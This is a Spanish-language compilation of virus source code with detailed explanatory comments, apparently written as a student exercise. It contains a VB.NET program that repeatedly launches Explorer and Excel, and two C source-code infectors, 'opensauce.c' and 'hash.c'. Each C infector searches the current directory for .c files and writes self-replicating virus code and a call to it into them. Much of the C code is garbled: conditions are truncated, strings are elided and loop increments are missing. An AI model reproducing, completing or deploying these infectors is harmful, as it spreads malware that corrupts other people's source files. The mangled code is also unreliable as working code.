**VIRUS EN VB .NET**

Public Class Form1

'variable para utilizar de contador

Dim a As Integer

Private Sub Form1\_Load(sender As Object, e As EventArgs) Handles MyBase.Load

' Do

'EL METODO SHELL TE PERMITE EJECUTAR UN EJECUTABLE QUE LE PONGAS DENTRO DE SU PARENTECIS DENTRO DE LOS

'PARENTECIS VA LA RUTA DEL EJECUTABLE

Shell("C:/WINDOWS/explorer.exe")

'HACEMOS UN CONTADOR Y SE LO ASIGNAMOS AL LABEL CREADO EN EL FORM

X.Text = a + 1

Shell("C:/WINDOWS/Explorer.exe")

X.Text = a + 1

Shell("C:/WINDOWS/Explorer.exe")

X.Text = a + 1

'ESTO EJECUTA EL OFFICE

Shell("C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.exe")

X.Text = a + 1

Shell("C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.exe")

X.Text = a + 1

Shell("C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.exe")

' EL BUCLE DO LOOP PERMITE EJECUTAR EL PROGRAMA SI O SI AUNQUE SEA UNA VEZ; Y AL ESPECIFICAR ENTRE COMILLAS

'QUE EL LABEL LLEGUE 20 SE SALDRA DEL BUCLE Y DEJARA DE EJECUTAR LOS PROGRAMAS. LLEGA A 20 POR EL CONTADOR

'QUE PONEMOS A CADA METODO SHELL QUE AUMENTA EN 1 EL LABEL

' Loop Until X.Text = "20"

End Sub

End Class

**VIRUS EN C**

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <unistd.h>

#include <fcntl.h>

#include <time.h>

#include <dirent.h>

#include <elf.h>

#include <sys/types.h>

#include <sys/wait.h>

//este virus ataca directamente al archivo abriéndolo directamente de la ubicación del disco.

//declaración de funcion

void virus();

//metodo main donde se ejecuta el codigo

int main(int argc, char \*argv[])

{

//llamamos a la funcion virus para que la ejecute el main que por donde

//aaranca cada programa

virus();

}

// funcion llamada virus

void virus()

{

//declaracion de variables de tipo entero

int i, hd, fd, readbyte, writebyte, posmain, posbuffer;

//estructuras y variables que controlas el directorio y sus ficheros:

//variable de tipo DIR para abrir fichero

DIR \*dd;

//indica que se esta definiendo una estructura

struct dirent \*dirp;

//variables de tipo char y array de dos posiciones

char nibble[2], nibblechar, \*readbuffer, \*writebuffer,

\*readmain, \*writemain, \*bufname, \*buffer;

//array de tipo char que almacenan hexadecimales

char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";

char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";

char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";

/\* scan for hosts in current dir \*/

//guardamos dentro de la varible dd de tipo DIR una fucion de tipo opendir que se usa para abrir un directorio

dd = opendir(".");

//si dd es mayor a 0 osea que se encuntran bytes entrara en el bucle

while dd>0)

if>=0)

{

//proceso de infeccion

/\* is a C source file? \*/

//la funcion strmcp retorna un numero entero mayor menor o igual que cero es decir compara cadena de caracteres hasta llegar al caracter situado

//en la ultima posicion si las cadenas son iguales devuelve 0 si es mayor un numero positivo, menor numero negativo

//la funcion strlen calcula el numero de caracteres de la cadena apuntada y comprobamos que sea un fichero .c o .C

if(!(strcmp(dirp->d\_name+strlen(dirp->d\_name)-2,".c"))|| !(strcmp(dirp->d\_name+strlen(dirp->d\_name)-2,".C")))

{

/\* searching infection mark... \*/

//la funcion lseek recibe tres parametros el primero es el descriptor del fichero, el segundo es el desplazamiento en el que queremos posicionarnos

//y el tercero lleva varias contantes y la que se utiliza es SEEK\_END que posiciona el puntero en el numero de bytes que especificamos desde el

//final del fichero a -30 bytes hacia atras del final del fichero

lseek(fd, -30, SEEK\_END);

//en la variable bufname se guardara la cantidad de memoria para asignar a bytes y se hace un castin para pasarlo a char

bufname = (char \*)malloc(30);

//en la variable de tipo int se almacenara lo que lea la funcion read que tiene tres parametro el primero es el descriptor de fichero(fd)

//que devolvia la funcion opendir, el segundo un puntero al buffer de la memoria que esta variablke tiene alamacenada con la funcion malloc

//y el tercero es el tamaño que indica el numero de bytes del buffer que queremos leer

readbyte = read(fd, bufname,30);

if

{

/\* infection mark not found \*/

/\* searching main() function... \*/

//posiciona el puntero a la posicion de inicial del fichero

lseek(fd, 0, SEEK\_SET);

posmain = posbuffer = 0;

//en la variable buffer se guardara la cantidad de memoria para asignar a bytes y se hace el casting a char ya que es una variable de este tipo

buffer = (char \*)malloc(1024);

while>0)

{

if( >0) || >0) ||>0) ||>0) ||>0) ||>0) )

{

break;

}

posmain += readbyte;//se almacena cada vulta de bucle lo que hay en en la variable readbyte que son los bytes que contenga el fichero

}

//en caso de ser mayor a 0 entrara en este condicional y ejecutara las instrucciones

if(posbuffer>0)

{

//en posmain hace de acumulador y almacena la resta que queda de postbuffer y buffer estas dos variables estan

posmain += ((int)posbuffer-(int)buffer);

//se posiciona en el fichero en el byte de la resta anterior y arranca desde el principio , byte 0

lseek(fd, posmain, SEEK\_SET);

//funcion que por parametro el primero es el descriptor de fichero , segundo el puntero a un buffer de memoria , el tercero el tamaño de bytes que queremos en este caso leer

read(fd, buffer, 80);

//si es mayor a 0 entrara en este condicional

if>0)

//en posmain se almacena la resta de posbuffer y buffer y se le suma 2

posmain += 2 + ((int)posbuffer-(int)buffer);

//de caso contrario no se encontro por lo que vale un numero negativo

else

posmain = -1;

}

//al valer -1 sale del if que contiene un else y entra en este else de afuera del if almacenando un -1 a posmain

else posmain = -1;

//en caso de que posmain tenga bytes entrara en este condicional

if(posmain>0)

{

/\* let's infect! \*/

//posiciona el puntero al pincipio del fichero

lseek(fd, 0, SEEK\_SET);

//en la variable de tipo entero se almacenara el numero de caracteres de la cadena apuntada dividido 2

writebyte = strlen(charinclude) / 2;

//se almacena en readbuffer la cantidad de memoria para asignar a bytes y se hace un castin para pasarlo a char

readbuffer = (char \*)malloc(writebyte);

//se almacena en writebuffer la cantidad de memoria para asignar a bytes y se hace un castin para pasarlo a char

writebuffer = (char \*)malloc(writebyte);

writebuffer = (char \*)malloc(writebyte);

//este for arranca de 0 y va hasta el ultima cadena de caracteres que hay en el array chardinclude y va de dos en dos en numeros pares

for(i=0;i<strlen(charinclude);i+=2)

{

//en el array nible en la primer posicion que es 0 almacenamos el los caracteres del array chardinclude

nibble[0] = charinclude[i];

//en el segundo se almacenan los caracteres impares ya que en el primero arranca de 0 y va de dos en dos pero en este arranca en 1 y va de 2 en 2 por lo

//cual va 1,3,5,7,etc

nibble[1] = charinclude[i+1];

//toma los datos del propio programa es decir del propio fichero al que accedemos

sscanf(nibble, "%02X", &nibblechar);

//concatena el primer caracter de nibblechar a writerbuffer y devuelve valor de wiretebuffer

strncat(writebuffer, &nibblechar, 1);

}

//si es mayor a 0 entra en el siclo

while>0)

{

//la funcion lseek recibe tres parametros el primero es el descriptor del fichero, el segundo es el desplazamiento en el que queremos posicionarnos

//y el tercero lleva varias contantes y la que se utiliza es SEEK\_CUR que se posiciona el puntero a el desplazamiento en que queremos posicionarnos

//que en este caso es la posicion actual del puntero

lseek(fd, -readbyte, SEEK\_CUR);

//escribe en la posicion actual del fichero que este abierto el primer parametro es el descriptor del fichero en donde se encuentra el fichero abierto

//el segundo el puntero al buffer de la memoria donde se efectua la transferencia y el tercero el tamaño de bytes del buffer que qeuremos en este caso escribir

write(fd, writebuffer, writebyte);

//en la variable witebyte se almacena en bytes lo que se lea del fichero abierto

writebyte = read(fd, writebuffer, writebyte);

//nos posicionamos en el fichero abierto en la posicion actual donde se encuentre el puntero

lseek(fd, -writebyte, SEEK\_CUR);

//escribe en el fichero el tamaño asignado que se almacena en readbyte, y el apuntador al bufer donde se realizara la tranferencia e sreadbuffer

write(fd, readbuffer, readbyte);

}

//nos posiciona en el fichero abierto en la posicion actual donde se encuentra el puntero

lseek(fd,-readbyte,SEEK\_CUR);

//escribe en el fichero abierto los bites que se encuentran writebytes

write(fd,writebuffer,writebyte);

/\* call virus from main() se llama al virus desde el main \*/

//se almacena en la variable writebyte los caracteres de el array chardinclude dividio entre dos

writebyte = strlen(charinclude) / 2;

//nos posicionamos en ese fichero abierto en la posicion de la suma de bytes de posmain mas writebyte arrancando del principio del fichero

lseek(fd, posmain+writebyte, SEEK\_SET);

writebyte = strlen("\n virus();\n");

//se almacena en readmain la cantidad de memoria para asignar a bytes y hacemos casting

readmain = (char \*)malloc(writebyte);

writemain = (char \*)malloc(writebyte);

//copia en la variable de destino writemain la cadena de caracteres "virus()"

strcpy(writemain,"\n virus();\n");

//si es mayor a 0 entra en el bucle

while>0)

{

//nos posicinamos en el fichero abierto en la posicion de los bytes que tenga radbytes arancando de de la posicion actual donde se encuentra el puntero hacia atras

lseek(fd,-readbyte,SEEK\_CUR);

//escribimos en el fichero abierto los caracteres almacenados en witebyte, y un puntero a un buffer de memoria (writemain)

write(fd,writemain,writebyte);

//se almacena en writebyte lo cantidad de bytes que espisificamos con writebyte a leer

writebyte=read(fd,writemain,writebyte);

// nos pisicionamos en el fichero la cantidad de bytes que se encuntran en la variable writebyte arrancando de la posicion actual donde se encuentra el ficher hacia atras

lseek(fd,-writebyte,SEEK\_CUR);

write(fd,readmain,readbyte);

}

//sale del bule y se posiciona en donde se encuentre el puntero actual menos la cantidad de bytes que tien readbyte

lseek(fd,-readbyte,SEEK\_CUR);

//ahora escribimos en el fichero los caracteres almacenados en writebyte en el puntero writemain

write(fd,writemain,writebyte);

/\* copy virus function at EOF \*/

lseek(fd, 0, SEEK\_END);

//ciclo for que va de 0 hasta la cantidad de caracteres de charvirus y va de dos en dos

for(i=0;i<strlen(charvirus);i+=2)

{

//en la primer posicion del array se almacena los caracteres pares del array charvirus

nibble[0] = charvirus[i];

//se almacenan los caracteres impares

nibble[1] = charvirus[i+1];

//toma los datos del ropio programa es decir del propio fichero que accedemos

sscanf(nibble,"%02X",&nibblechar);

//y escribimos en ese fichero un bite de informacion de el array nibblechar

write(fd, &nibblechar, 1);

}

//escribe en el fichero

write(fd, "\n char charinclude[] = \"", strlen("\n char charinclude[] = \""));

//escribimos en el fichero que se encuentra interactuando la cantidad de caracteres de charinclude, en donde se esta apuntando a la memoria para realizar la tranferencia de bytes

write(fd, charinclude, strlen(charinclude));

write(fd, "\";\n char charvirus[] = \"", strlen("\";\n char charvirus[] = \""));

write(fd, charvirus, strlen(charvirus));

write(fd, "\";\n char charvirusend[] = \"", strlen("\";\n char charvirusend[] = \""));

write(fd, charvirusend, strlen(charvirusend));

write(fd, "\";\n", strlen("\";\n"));

//posicionamos al final del fichero

lseek(fd, 0, SEEK\_END);

//ciclo for que va de 0 ha la cantidad de caracteres que tenga chrvirusend y va de dos en dos

for(i=0;i<strlen(charvirusend);i+=2)

{

//se almacena en la primera posicion del array los bytes que se encuentran en las posiciones pares

nibble[0] = charvirusend[i];

//se almacenan los impares

nibble[1] = charvirusend[i+1];

//toma los datos del ropio programa es decir del propio fichero que accedemos

sscanf(nibble,"%02X",&nibblechar);

//escribimos en el fichero la cantidad de un byte de informacion en la memoria que aunta nibblechar

write(fd, &nibblechar, 1);

}

/\* that's all folks! \*/

/\* just 1 infection each time \*/

exit(0);

close(fd);

}

}

}

//cierra el archivo

close(fd);

}

//cierra el flujo de directorio que abrimos con opendir

closedir(dd);

/\* sauce! \*/

}

<---------------------->

<--end of-opensauce.c-->

<---------------------->

**Segundo virus en c**

<--------------->

<-----hash.c---->

<--------------->

/\*

\* Hash,

\*

\* quine-based source code infector.

\* zert <zert@int80h.net>

\*

\*/

#include <stdio.h>

#include <sys/stat.h>

#include <sys/mman.h>

#include <unistd.h>

#include <dirent.h>

#include <fcntl.h>

//declaración de funcion

void init\_hash();

//funcion main donde se empezara a ejecutar el programa

int main(int argc, char \*argv[])

{

//funcion que se ejecutara al inicio del programa o ejecutarlo

init\_hash();

}

//funcion hash permite insertar elementos a un array

void init\_hash()

{

// //estructuras y variables que controlas el directorio y sus ficheros:

//variables de tipo entero

int i, j, fd, size, mpos, ipos, page,ihole, thole, bhole, ehole;

//definimos una estructura

struct dirent \*dir;

//variable de tipo DIR para abrir fichero

DIR \*d;

void \*ptr;

//array de tipo char que almacenan string (texto plano) que incluyen bibliotecas de lenguaje c y partes de codigo para realizar la infeccion

char hashinc[] = "\n#include <stdio.h>\n#include <sys/stat.h>\n#include <sys/mman.h>\n#include <unistd.h>\n#include <dirent.h>\n#include <fcntl.h>\n\nvoid init\_hash();\n";

char hashbeg[] = "\nvoid init\_hash()\n{\n\tint i, j, fd, size, mpos, ipos, page, \n\tihole, thole, bhole, ehole; struct dirent \*dir; DIR \*d;\n\tvoid \*ptr;\n\tchar hashinc[] = \"";

char hashend[] = "\tchar \*buf;\n\n\td = opendir(\".\");\n\twhile>0)\n\t\tif(!(strcmp(dir->d\_name+strlen(dir->d\_name)-2,\".c\"))||\n\t\t !(strcmp(dir->d\_name+strlen(dir->d\_name)-2,\".C\"))) \n\t\t\tif>=0)\n\t\t\t{\n\t\t\t\tsize = lseek(fd, 0, SEEK\_END);\n\t\t\t\tptr = mmap(NULL,size,PROT\_READ,MAP\_PRIVATE,fd,0);\n\t\t\t\tif( (!strstr(ptr,\"init\_hash\")) &&\n\t\t\t\t ( >0) ||\n\t\t\t\t >0) ||\n\t\t\t\t >0) || \n\t\t\t\t >0) ||\n\t\t\t\t >0) ||\n\t\t\t\t >0) ) )\n\t\t\t\t{\n\t\t\t\t\tmpos = (int)strstr )\n\t\t\t\t\t{\n\t\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t\tpage = 3 \* (int)sysconf(\_SC\_PAGESIZE);\n\t\t\t\t\tftruncate(fd, size+page);\n\t\t\t\t\tptr = mmap(NULL,size+page,PROT\_READ+PROT\_WRITE,MAP\_SHARED,fd,0);\n\t\t\t\t\tipos = (int)strstr(ptr, \"#include <\");\n\t\t\t\t\tipos = (int)strstr;\n\t\t\t\t\tstrcpy(buf,\"\\n\\tinit\_hash();\");\n\t\t\t\t\tthole = strlen(buf);\n\t\t\t\t\tfor(i=(size+ihole-mpos)/thole;i>=0;i--) \n\t\t\t\t\t\tmemcpy(ptr+mpos+i\*thole+thole, ptr+mpos+i\*thole, thole);\n\t\t\t\t\tmemcpy(ptr+mpos, buf, thole);\n\t\t\t\t\tbhole = strlen(hashbeg);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole, hashbeg, bhole);\n\t\t\t\t\tbuf = (char \*)malloc(100\*sizeof(char)+strlen(hashinc));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashinc);i,j)\n\t\t\t\t\t\tswitch(hashinc[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashinc[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashbeg[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char \*)malloc(100\*sizeof(char)+strlen(hashbeg));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashbeg);i,j)\n\t\t\t\t\t\tswitch(hashbeg[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashbeg[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\\tchar hashend[] =\\\"\");\n\t\t\t\t\tbhole += 21;\n\t\t\t\t\tbuf = (char \*)malloc(100\*sizeof(char)+strlen(hashend));\n\t\t\t\t\tfor(i=0,j=0;i<strlen(hashend);i,j)\n\t\t\t\t\t\tswitch(hashend[i])\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase '\\n':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\n\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\t':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\t\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\\':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\\\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tcase '\\\"':\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"\\\\\\\"\");\n\t\t\t\t\t\t\t\tj;\n\t\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t\tdefault:\n\t\t\t\t\t\t\t\tsprintf(buf+j, \"%c\", hashend[i]);\n\t\t\t\t\t\t} \n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));\n\t\t\t\t\tbhole += strlen(buf);\n\t\t\t\t\tsprintf(ptr+size+ihole+thole+bhole, \"\\\";\\n\");\n\t\t\t\t\tbhole += 3;\n\n\t\t\t\t\tehole = strlen(hashend);\n\t\t\t\t\tmemcpy(ptr+size+ihole+thole+bhole, hashend, ehole);\n\t\t\t\t\tmsync(ptr, size+page, MS\_SYNC);\n\t\t\t\t\tmunmap(ptr, size+page);\n\t\t\t\t\tftruncate(fd, size+ihole+thole+bhole+ehole);\n\t\t\t\t} else\n\t\t\t\t{\n\t\t\t\t\tmunmap(ptr, size);\n\t\t\t\t}\n\t\t\t}\n}\n";

char \*buf;

//almacenamos en la variable d de tipo DIR el fichero que queremos abrir y el puntero se posicionara en la primera entrada al directorio

d = opendir(".");

//si es mayor a 0 es que se encuentra un archivo ya que si no daria un numero negativo

while dd>0)

//evaluamos con un if si la funcion strmcp retorna un numero entero mayor menor o igual que cero es decir compara cadena de caracteres hasta llegar al caracter situado

//en la ultima posicion si las cadenas son iguales devuelve 0 si es mayor un numero positivo, menor numero negativo

//la funcion strlen calcula el numero de caracteres de la cadena apuntada y comprobamos que sea un fichero .c o .C

if(!(strcmp(dir->d\_name+strlen(dir->d\_name)-2,".c")) || !(strcmp(dir->d\_name+strlen(dir->d\_name)-2,".C")))

if>=0)

{

//proceso de infeccion

//almacenamos en la variable size de tipo entero la posicion donde queremos posicionarnos en el fichero con la constante SEEK\_END se refiere a posicionar

//el puntero al final del fichero

size = lseek(fd, 0, SEEK\_END);

//almacenamos en la variable ptr de tipo void(no devuelve nada) lo que devuelve la funcion mmap que es ubicar la longitud de bytes comnezando donde

//queremos posicionarnos desde el fichero el primer parametro es nulo la variable size es la posicion donde queremos ubicarnos en el fichero, PROT\_READ

//es la constante que indica que las paginas deben ser leidas , la otra constantes MAP\_PRIVATE Crear un área privada copy-on-write(copiar o escribir). Almacenar en la región no afecta al

// fichero original.Es indefinido si los cambios hechos al fichero despues de la llamada a mmap son visibles en la region mapeada.

ptr = mmap(NULL,size,PROT\_READ,MAP\_PRIVATE,fd,0);

// Localiza la primera aparición en la cadena apuntada en otrs palabra busca una subcadea dentro de una cadena. el primer parametro es la cadena a analizar el segundo

//parametro es la subcadena a buscar devolvera null si no se encuentra esa cadena representada en comillas

if( (!strstr(ptr,"init\_hash")) && ( >0) || >0) ||>0) ||>0) ||>0) ||>0) ) )

{

//se almacena en la variable mpos de tipo entero haceindo un casting pasandolo a entero, lo que devulve la funcion strstr que busca en la cadena mpos

//que se pasa a void y si dentro de esata se encuntra la cadena representada en comillas que es ",\n"

//la funcion mmap que devuelve un puntero al area reservada

mpos = (int)strstr((void \*)mpos, ";\n");

//almacenamos en la variable mpos de tipo void la resta de ptr que se encuentra almacenado lo que devulve la funcion mmap que devuelve un puntero al area reservada

mpos -= (int)--ptr;

//si se cumple la condicion entrara en el condicional si en ptr se encuntra la biblioteca include y el signo invierte se refiere a que si es distinto

if( !(ipos = (int)strstr(++ptr, "#include <")) )

{

//borra las ubicaciones

munmap(ptr, size);

//pausa

break;

}

//borra las ubicaciones

munmap(ptr, size);

//sysconf() proporciona una forma de que la aplicacion determine ciertos valores para limites del sistema u opciones, en tiempo de ejecucion

//lo que recibe por parametro una constante que signfica el tamaño de la pagina en bytes y se multiplica por tres y se almacena en la variable page de tipo int

page = 3 \* (int)sysconf(\_SC\_PAGESIZE);

//La función ftruncate () hace que el archivo normal al que hacen referencia los fildes tenga un tamaño de bytes de longitud

//por parametro recibe el archibo que teneos abierto mas la suma de size que es la posicion del puntero en el archivo y page que es el tamaño de la pagina en bytes

ftruncate(fd, size+page);

//se almacena en ptr lo que devulve la funcion mmap que es un puntero al area reservada que especificamos con los parametros

ptr = mmap(NULL,size+page,PROT\_READ+PROT\_WRITE,MAP\_SHARED,fd,0);

//se almacena si se encuentra con la funcion strstr la cadena include

ipos = (int)strstr(ptr, "#include <");

//si se encuentra \n\n se almacenara en ipos en caso contrario devolvera null

ipos = (int)strstr((void \*)ipos, "\n\n");

ipos -= (int)ptr;

//se almacena en ihole el calcuo de la cantidad de caracteres a la cadena apuntada que se expresa por parametros a esta funcion

ihole = strlen(hashinc);

//el ciclo for ira decrementando de el resultado de la resta de size y ipos dividido ihole hasta meyor o igual a 0 (cantidad de bytes)

for(i=(size-ipos)/ihole;i>=0;i--)

//la funcion memcpy copia la cantidad de bytes origen a destino el origen es el primer parametro el segundo separado por una coma es el destino y el tercero

//el tamaño (realiza la infeccion)

memcpy(ptr+ipos+i\*ihole+ihole, ptr+ipos+i\*ihole, ihole);

memcpy(ptr+ipos, hashinc, ihole);

//almasenamos la suma de mpos y de ihole en la variable mpos

mpos += ihole;

//almacenamos en la variable buff de tipo char lo que devulve la funcion malloc que es la cantidad de memoria para asignar a bytes.

//La función sizeof, devuelve el tamaño en bytes que ocupa una variable o algun tipo de dato que es char no importa el tamaño siempre va a ocupar 2bytes

buf = (char \*)malloc(20\*sizeof(char));

//copia la variable de destino bbuff la cadena de string especificado por segundo parametro

strcpy(buf,"\n\tinit\_hash();");

//en la variable thole de tipo int se almacena el calculo de numero de caracteres de lacadena apuntada expresada por parametros

thole = strlen(buf);

//cilco for que decrece que va del resultado de la suma de size mas ihole menos mpos dividido thole

for(i=(size+ihole-mpos)/thole;i>=0;i--)

//la funcion memcpy copia la cantidad de bytes origen a destino el origen es el primer parametro el segundo separado por una coma es el destino y el tercero

//el tamaño

memcpy(ptr+mpos+i\*thole+thole, ptr+mpos+i\*thole, thole);

memcpy(ptr+mpos, buf, thole);

//se almacena en la variable bhole el calculo de numeros de caracteres de la cadena apuntada expresada en el parametro de la funcion

bhole = strlen(hashbeg);

memcpy(ptr+size+ihole+thole, hashbeg, bhole);

/\* declaracion de arrays y arrays \*/

//en buf se almacena lo que devulve la funcion malloc que es la cant de memoria a asignar a bytes por parametros los bytes a asignar son el tamaño de bytes que

//ocupa una varible(sizeof) y el calculo de numeros de caracteres de la cadena apuntada que se expresa por parametros

buf = (char \*)malloc(100\*sizeof(char)+strlen(hashinc));

//cilco for que va de 0 a la cantidad de numeros de caracteres que contenga hashinc

for(i=0,j=0;i<strlen(hashinc);i,j)

//con la condicion switch evaluamos lo que se encuentra a cada bucle de for

switch(hashinc[i])

{

//si se encuentra \n

case '\n':

//crea una cadena de texto con la funcion sprintf por primer parametro le pasamos la cadena de destino y el segundo la cedena

//retorna la cantidad de caracteres

sprintf(buf+j, "\\n");

//contador

j++;

//pausa

break;

case '\t':

//lo mismo que en el primer case

sprintf(buf+j, "\\t");

j++;

break;

case '\\':

//lo mismo

sprintf(buf+j, "\\\\");

j++;

break;

case '\"':

//lo mismo

sprintf(buf+j, "\\\"");

j++;

break;

default:

sprintf(buf+j, "%c", hashinc[i]);

}

//la funcion memcpy copia la cantidad de bytes origen a destino el origen es el primer parametro el segundo separado por una coma es el destino y el tercero

//el tamaño en este caso la cantidad de numeros de caracteres que contiene buf

memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));

sumamos a bhole la cantidad de numeros de caracteres que hay en buf

bhole += strlen(buf);

//crea una cadena de caracteres y da el formato sin impriir nada por primer parametro le pasamos la cadena de destino y el segundo parametro es la cadena que se

//almacenara en el destino

sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashbeg[] =\"");

//en bhole sumamos lo que hay en esa variable mas 21

bhole += 21;

//en buff se almacenara lo que devuelva la funcion mallocque es la cantidad de memoria a asignar abytes

buf = (char \*)malloc(100\*sizeof(char)+strlen(hashbeg));

//cilco for que va de 0 a la cantidad de numeros de caracteres que contenga hashinc

for(i=0,j=0;i<strlen(hashbeg);i,j)

//con la condicion switch evaluamos lo que se encuentra a cada bucle de for

switch(hashbeg[i])

{

//si se encuentra \n

case '\n':

//crea una cadena de texto con la funcion sprintf por primer parametro le pasamos la cadena de destino y el segundo la cedena

//retorna la cantidad de caracteres

sprintf(buf+j, "\\n");

j++;

break;

case '\t':

sprintf(buf+j, "\\t");

j++;

break;

case '\\':

sprintf(buf+j, "\\\\");

j++;

break;

case '\"':

sprintf(buf+j, "\\\"");

j++;

break;

//sino se cumple las demas condiciones del case

default:

sprintf(buf+j, "%c", hashbeg[i]);

}

//la funcion memcpy copia la cantidad de bytes origen a destino el origen es el primer parametro el segundo separado por una coma es el destino y el tercero

//el tamaño en este caso la cantidad de numeros de caracteres que contiene buf

memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));

//suma o cumulador tambien conocido que guarda el calculo de numero de caracteres a la cadena apuntada

bhole += strlen(buf);

////crea una cadena de texto con la funcion sprintf por primer parametro le pasamos la cadena de destino y el segundo la cedena

//retorna la cantidad de caracteres

sprintf(ptr+size+ihole+thole+bhole, "\";\n\tchar hashend[] =\"");

//suma el valor que se encuentra almacenado en la variable bhole y le suma 21

bhole += 21;

//almacenamos en buf lo que devuelve la funcion malloc(catidad de memoria a asignar a bytes)

buf = (char \*)malloc(100\*sizeof(char)+strlen(hashend));

//cilco for que va de 0 a la cantidad de numeros de caracteres que contenga hashinc

for(i=0,j=0;i<strlen(hashend);i,j)

//con la condicion switch evaluamos lo que se encuentra a cada bucle de for

switch(hashend[i])

{

//si se encuntra \n

case '\n':

//crea una cadena de texto con la funcion sprintf por primer parametro le pasamos la cadena de destino y el segundo la cedena

//retorna la cantidad de caracteres

sprintf(buf+j, "\\n");

//contador

j++;

//pausa

break;

case '\t':

sprintf(buf+j, "\\t");

j++;

break;

case '\\':

sprintf(buf+j, "\\\\");

j++;

break;

case '\"':

sprintf(buf+j, "\\\"");

j++;

break;

//en caso de que no se encuentre ningun caracter de los tipos especificados en cada case

default:

sprintf(buf+j, "%c", hashend[i]);

}

//la funcion memcpy copia la cantidad de bytes origen a destino el origen es el primer parametro el segundo separado por una coma es el destino y el tercero

//el tamaño en este caso la cantidad de numeros de caracteres que contiene buf

memcpy(ptr+size+ihole+thole+bhole, buf, strlen(buf));

//se sumara y guarada en la variable bhole lo que hay en esa variable mas la cant de numeros de caracteres que tenga buf

bhole += strlen(buf);

//crea una cadena de texto primer parametro cadena de destino y el segundo la cadena de formato de tipo string

sprintf(ptr+size+ihole+thole+bhole, "\";\n");

//se suma tres a lo que haya en bhole

